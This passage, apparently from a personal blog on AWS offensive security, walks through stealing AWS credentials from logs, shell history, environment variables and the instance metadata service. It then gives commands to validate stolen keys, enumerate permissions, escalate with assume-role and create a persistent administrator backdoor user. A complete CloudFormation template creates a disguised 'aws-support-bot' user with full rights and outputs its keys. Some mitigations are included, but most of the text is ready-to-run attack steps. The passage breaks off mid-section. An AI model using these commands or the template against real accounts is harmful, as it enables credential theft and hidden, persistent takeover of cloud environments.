keys.&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;hr&gt;&#10;&lt;h5 id="2-leaks-in-logs"&gt;&lt;a href="#2-leaks-in-logs" class="header-anchor"&gt;&lt;/a&gt;2. Leaks in Logs&#10;&lt;/h5&gt;&lt;p&gt;AWS keys can accidentally end up in log files. For example:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cat /var/log/syslog | grep &amp;#34;aws_access_key_id&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Mitigations&lt;/strong&gt;:&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;Do not write sensitive information to logs.&lt;/li&gt;&#10;&lt;li&gt;Use &lt;code&gt;AWS Secrets Manager&lt;/code&gt; instead of plaintext keys.&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;hr&gt;&#10;&lt;h5 id="3-shell-history"&gt;&lt;a href="#3-shell-history" class="header-anchor"&gt;&lt;/a&gt;3. Shell History&#10;&lt;/h5&gt;&lt;p&gt;If a developer runs AWS CLI commands directly in a terminal:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws configure set aws_access_key_id AKIAIOSFODNN7EXAMPLE&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws configure set aws_secret_access_key wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;An attacker can retrieve the AWS keys from &lt;code&gt;history&lt;/code&gt;:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;history | grep aws&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Mitigations&lt;/strong&gt;:&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;Run &lt;code&gt;history -c&lt;/code&gt; to clear the command history.&lt;/li&gt;&#10;&lt;li&gt;Use &lt;code&gt;export AWS_ACCESS_KEY_ID&lt;/code&gt; instead of &lt;code&gt;aws configure&lt;/code&gt; to avoid storing credentials in configuration files.&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;hr&gt;&#10;&lt;h5 id="4-environment-variable-leaks"&gt;&lt;a href="#4-environment-variable-leaks" class="header-anchor"&gt;&lt;/a&gt;4. Environment Variable Leaks&#10;&lt;/h5&gt;&lt;p&gt;Some servers may store AWS access credentials in environment variables:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;echo $AWS_ACCESS_KEY_ID&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;echo $AWS_SECRET_ACCESS_KEY&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;If an attacker gains shell access to the server, they can easily steal the AWS credentials.&lt;/strong&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;Mitigations&lt;/strong&gt;:&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;Use IAM roles instead of storing static keys.&lt;/li&gt;&#10;&lt;li&gt;Configure &lt;code&gt;AWS_SESSION_TOKEN&lt;/code&gt; so credentials are short-lived, reducing the risk of long-term exposure.&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;hr&gt;&#10;&lt;h5 id="5-attacking-the-aws-instance-metadata-service-imds"&gt;&lt;a href="#5-attacking-the-aws-instance-metadata-service-imds" class="header-anchor"&gt;&lt;/a&gt;5. Attacking the AWS Instance Metadata Service (IMDS)&#10;&lt;/h5&gt;&lt;p&gt;On EC2 instances, AWS stores IAM role credentials in &lt;code&gt;IMDS&lt;/code&gt; (the Instance Metadata Service):&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;curl http://169.254.169.254/latest/meta-data/iam/security-credentials/&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Attack steps&lt;/strong&gt;:&lt;/p&gt;&#10;&lt;ol&gt;&#10;&lt;li&gt;Run the following on a compromised EC2 instance:&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;curl http://169.254.169.254/latest/meta-data/iam/security-credentials/&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;curl http://169.254.169.254/latest/meta-data/iam/security-credentials/&amp;lt;ROLE_NAME&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;ol start="2"&gt;&#10;&lt;li&gt;Retrieve the access keys:&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;{&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;AccessKeyId&amp;#34;: &amp;#34;AKIAIOSFODNN7EXAMPLE&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;SecretAccessKey&amp;#34;: &amp;#34;wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Token&amp;#34;: &amp;#34;FQoGZXIvYXdzEBIaDE5QTkFERV9TRVJWSUNFE...&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Mitigations&lt;/strong&gt;:&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Enable IMDSv2&lt;/strong&gt; to prevent SSRF attacks:&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws ec2 modify-instance-metadata-options --instance-id i-xxxxxxxxxx --http-tokens required&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Block unauthorized users from accessing&lt;/strong&gt; &lt;code&gt;169.254.169.254&lt;/code&gt;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;iptables -A OUTPUT -d 169.254.169.254 -j DROP&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;hr&gt;&#10;&lt;h4 id="exploiting-leaked-aws-cli-credentials"&gt;&lt;a href="#exploiting-leaked-aws-cli-credentials" class="header-anchor"&gt;&lt;/a&gt;Exploiting Leaked AWS CLI Credentials&#10;&lt;/h4&gt;&lt;h5 id="check-whether-the-credentials-are-valid"&gt;&lt;a href="#check-whether-the-credentials-are-valid" class="header-anchor"&gt;&lt;/a&gt;Check Whether the Credentials Are Valid&#10;&lt;/h5&gt;&lt;p&gt;Once you obtain an AWS access key, the first step is to check whether it is valid:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws sts get-caller-identity --access-key AKIAIOSFODNN7EXAMPLE --secret-key wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;If the credentials are valid, the command returns information like this:&lt;/strong&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;{&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;UserId&amp;#34;: &amp;#34;AIDAJQABLZS4A3QDU576Q&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Account&amp;#34;: &amp;#34;650251703094&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Arn&amp;#34;: &amp;#34;arn:aws:iam::650251703094:user/victim-user&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Now you know the AWS account ID and username!&lt;/strong&gt;&lt;/p&gt;&#10;&lt;h5 id="enumerate-permissions-in-the-aws-account"&gt;&lt;a href="#enumerate-permissions-in-the-aws-account" class="header-anchor"&gt;&lt;/a&gt;Enumerate Permissions in the AWS Account&#10;&lt;/h5&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws iam list-attached-user-policies --user-name victim-user&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws iam list-user-policies --user-name victim-user&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;If the account has highly privileged policies, you can perform administrator-level operations.&lt;/strong&gt;&lt;/p&gt;&#10;&lt;hr&gt;&#10;&lt;h5 id="escalate-privileges-to-administrator"&gt;&lt;a href="#escalate-privileges-to-administrator" class="header-anchor"&gt;&lt;/a&gt;Escalate Privileges to Administrator&#10;&lt;/h5&gt;&lt;p&gt;&lt;strong&gt;If the credentials have limited permissions, you can try abusing&lt;/strong&gt; &lt;code&gt;iam:PassRole&lt;/code&gt; &lt;strong&gt;or&lt;/strong&gt; &lt;code&gt;sts:AssumeRole&lt;/code&gt;&lt;strong&gt;:&lt;/strong&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws sts assume-role --role-arn arn:aws:iam::650251703094:role/AdminRole --role-session-name AdminSession&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;If&lt;/strong&gt; &lt;code&gt;sts:AssumeRole&lt;/code&gt; &lt;strong&gt;succeeds, you can gain administrator privileges!&lt;/strong&gt;&lt;/p&gt;&#10;&lt;hr&gt;&#10;&lt;h5 id="establish-persistent-backdoor-access"&gt;&lt;a href="#establish-persistent-backdoor-access" class="header-anchor"&gt;&lt;/a&gt;Establish Persistent Backdoor Access&#10;&lt;/h5&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws iam create-user --user-name attacker-user&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws iam create-access-key --user-name attacker-user&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws iam attach-user-policy --user-name attacker-user --policy-arn arn:aws:iam::aws:policy/AdministratorAccess&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Even if the original credentials are revoked, you can still access AWS through&lt;/strong&gt; &lt;code&gt;attacker-user&lt;/code&gt;&lt;strong&gt;.&lt;/strong&gt;&lt;/p&gt;&#10;&lt;h4 id="summary-of-aws-cli-credential-leaks"&gt;&lt;a href="#summary-of-aws-cli-credential-leaks" class="header-anchor"&gt;&lt;/a&gt;Summary of AWS CLI Credential Leaks&#10;&lt;/h4&gt;&lt;p&gt;Everything above is pretty common, so I have not gone into too much detail. It should all be fairly easy to follow. Most of it is basic Linux knowledge, and the rest is material we covered earlier.&lt;/p&gt;&#10;&lt;h3 id="malicious-cloudformation-templates"&gt;&lt;a href="#malicious-cloudformation-templates" class="header-anchor"&gt;&lt;/a&gt;Malicious CloudFormation Templates&#10;&lt;/h3&gt;&lt;p&gt;I never covered this in the basics, so this is a good chance to take a look.&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;Objective&lt;/strong&gt;: Use AWS CloudFormation to deploy malicious templates that create backdoor users, modify existing IAM permissions, or even execute remote code in a victim&amp;rsquo;s AWS account.&lt;/p&gt;&#10;&lt;p&gt;AWS CloudFormation lets users &lt;strong&gt;automatically create and manage AWS resources through YAML/JSON templatesxxxx&lt;/strong&gt;, such as:&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;Creating IAM roles, S3 buckets, EC2 instances, and more.+ Automatically configuring VPCs, Lambda functions, DynamoDB, and so on.&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;&lt;strong&gt;An attacker can use CloudFormation to deploy malicious AWS resources and bypass traditional permission checks!&lt;/strong&gt;&lt;/p&gt;&#10;&lt;p&gt;This is extremely dangerous, and it is also a little complicated, so here is the short version. If a role/user has full CloudFormation permissions, that is effectively the same as having permission to create/modify any AWS resource, meaning they can take control of the entire AWS environment. CloudFormation is somewhat similar to Lambda—only somewhat—in that both control AWS resources by uploading something. CloudFormation uploads templates, though, and unlike Lambda, which checks the permissions attached to its role to determine whether it can call an AWS resource, a CloudFormation template can directly call AWS resources including EC2, Lambda, IAM, S3, and so on. For example, everyone knows that calling IAM can create users/roles and grant permissions, but normally your own permissions also need to be sufficiently high. That restriction does not apply here: you only need permission to use CloudFormation itself. You can then create an IAM role/user with administrator privileges or even directly trust another AWS account. That is roughly how it works.&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;Below, I will build templates for several of these services. For now, I will just use templates that are already written instead of learning how to write them; I will study that later together with Lambda.&lt;/strong&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;Ways to attack with malicious CloudFormation templates →&lt;/strong&gt;&lt;/p&gt;&#10;&lt;h4 id="1-create-a-hidden-iam-backdoor-user"&gt;&lt;a href="#1-create-a-hidden-iam-backdoor-user" class="header-anchor"&gt;&lt;/a&gt;1. Create a Hidden IAM Backdoor User&#10;&lt;/h4&gt;&lt;p&gt;&lt;strong&gt;An attacker can use CloudFormation to create a hidden IAM user and attach administrator permissions:&lt;/strong&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;span class="lnt"&gt;21&#10;&lt;/span&gt;&lt;span class="lnt"&gt;22&#10;&lt;/span&gt;&lt;span class="lnt"&gt;23&#10;&lt;/span&gt;&lt;span class="lnt"&gt;24&#10;&lt;/span&gt;&lt;span class="lnt"&gt;25&#10;&lt;/span&gt;&lt;span class="lnt"&gt;26&#10;&lt;/span&gt;&lt;span class="lnt"&gt;27&#10;&lt;/span&gt;&lt;span class="lnt"&gt;28&#10;&lt;/span&gt;&lt;span class="lnt"&gt;29&#10;&lt;/span&gt;&lt;span class="lnt"&gt;30&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;AWSTemplateFormatVersion: &amp;#39;2010-09-09&amp;#39;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Resources:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; BackdoorUser:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Type: AWS::IAM::User&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Properties:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; UserName: &amp;#34;aws-support-bot&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; BackdoorAccessKey:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Type: AWS::IAM::AccessKey&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Properties:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; UserName: !Ref BackdoorUser&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; BackdoorPolicy:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Type: AWS::IAM::Policy&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Properties:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; PolicyName: &amp;#34;HiddenAdminPolicy&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Users:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; - !Ref BackdoorUser&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; PolicyDocument:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Version: &amp;#39;2012-10-17&amp;#39;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Statement:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; - Effect: Allow&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Action: &amp;#34;*&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Resource: &amp;#34;*&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Outputs:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; AccessKey:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Value: !Ref BackdoorAccessKey&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Description: &amp;#34;IAM Access Key&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; SecretKey:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Value: !GetAtt BackdoorAccessKey.SecretAccessKey&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Description: &amp;#34;IAM Secret Key&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;How to run it&lt;/strong&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" 